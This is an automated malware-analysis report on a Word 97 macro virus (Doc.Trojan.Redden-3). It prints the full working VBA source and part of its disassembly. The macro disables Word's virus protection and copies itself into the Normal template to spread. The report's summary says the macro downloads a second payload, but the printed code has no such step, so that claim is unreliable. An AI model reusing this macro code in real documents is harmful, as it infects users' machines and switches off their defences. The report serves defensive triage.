Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 632980f0074de4cb…

MALICIOUS

Office (OLE)

33.0 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e366d628a1e71b7d9a725f860b4865ce SHA-1: b8a39c587fa1d4fedcddd9e8de6522456167302e SHA-256: 632980f0074de4cbfab21b78a653bb7bfbc0e74187f986c4d6a639be171565ed
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature 'Doc.Trojan.Redden-3'. It contains VBA macros, specifically a 'Document_Open' macro that attempts to disable virus protection and copy its code to the Normal template, potentially for persistence or to avoid re-execution. The macro's intent is to download and execute a secondary payload, as indicated by the heuristic firings and the nature of the Document_Open macro.

Heuristics 3

  • ClamAV: Doc.Trojan.Redden-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Redden-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4539 bytes
SHA-256: d40bab8a02ade61cbb52698afa3fb16984e2874cd96899f3f3fd38aef6bdcc9d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error GoTo Phuck
Options.VirusProtection = False
Options.SaveNormalPrompt = False
If ThisDocument.FullName = NormalTemplate.FullName Then
Set dest = ActiveDocument.VBProject.VBComponents("ThisDocument")
Set stlth = ActiveDocument.VBProject
Set sour = NormalTemplate.VBProject.VBComponents("ThisDocument")
Else
Set sour = ThisDocument.VBProject.VBComponents("ThisDocument")
Set dest = NormalTemplate.VBProject.VBComponents("ThisDocument")
Set stlth = NormalTemplate.VBProject
End If
cou = dest.CodeModule.countoflines
If cou > 0 Then
For j = 1 To cou
dest.CodeModule.DeleteLines (1)
Next j
End If
lin = sour.CodeModule.Lines(1, sour.CodeModule.countoflines)
dest.CodeModule.AddFromString (lin)
already = False
cnt = stlth.VBComponents.Count
If cnt <> 0 Then
For i = 1 To cnt
aprj = stlth.VBComponents(i).Name
If aprj = "SimplyRed" Then already = True
Next i
Else
already = False
End If
If Not already Then
stlth.VBComponents.Add (vbext_ct_StdModule)
stlth.VBComponents(NormalTemplate.VBProject.VBComponents.Count).Name = "SimplyRed"
End If
Phuck:
End Sub

' Processing file: /opt/analyzer/scan_staging/255646d1d1224bc7bdf8d2fb956277f2.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 2625 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	OnError Phuck 
' Line #2:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #3:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #4:
' 	Ld ThisDocument 
' 	MemLd FullName 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	Eq 
' 	IfBlock 
' Line #5:
' 	SetStmt 
' 	LitStr 0x000C "ThisDocument"
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	Set dest 
' Line #6:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	Set stlth 
' Line #7:
' 	SetStmt 
' 	LitStr 0x000C "ThisDocument"
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	Set sour 
' Line #8:
' 	ElseBlock 
' Line #9:
' 	SetStmt 
' 	LitStr 0x000C "ThisDocument"
' 	Ld ThisDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	Set sour 
' Line #10:
' 	SetStmt 
' 	LitStr 0x000C "ThisDocument"
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	Set dest 
' Line #11:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	Set stlth 
' Line #12:
' 	EndIfBlock 
' Line #13:
' 	Ld dest 
' 	MemLd CodeModule 
' 	MemLd countoflines 
' 	St cou 
' Line #14:
' 	Ld cou 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #15:
' 	StartForVariable 
' 	Ld j 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld cou 
' 	For 
' Line #16:
' 	LitDI2 0x0001 
' 	Paren 
' 	Ld dest 
' 	MemLd CodeModule 
' 	ArgsMemCall DeleteLines 0x0001 
' Line #17:
' 	StartForVariable 
' 	Ld j 
' 	EndForVariable 
' 	NextVar 
' Line #18:
' 	EndIfBlock 
' Line #19:
' 	LitDI2 0x0001 
' 	Ld sour 
' 	MemLd CodeModule 
' 	MemLd countoflines 
' 	Ld sour 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St lin 
' Line #20:
' 	Ld lin 
' 	Paren 
' 	Ld dest 
' 	MemLd CodeModule 
' 	ArgsMemCall AddFromString 0x0001 
' Line #21:
' 	LitVarSpecial (False)
' 	St already 
' Line #22:
' 	Ld stlth 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	St cnt 
' Line #23:
' 	Ld cnt 
' 	LitDI2 0x0000 
' 	Ne 
' 	IfBlock 
' Line #24:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld cnt 
' 	For 
' Line #25:
' 	Ld i 
' 	Ld stlth 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	St aprj 
' Line #26:
' 	Ld aprj 
' 	LitStr 0x0009 "SimplyRed"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St already 
' 	EndIf 
' Line #27:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #28:
' 	ElseBlock 
' Line #29:
' 	LitVarSpecial (False)
' 	St already 
' Li
... (truncated)

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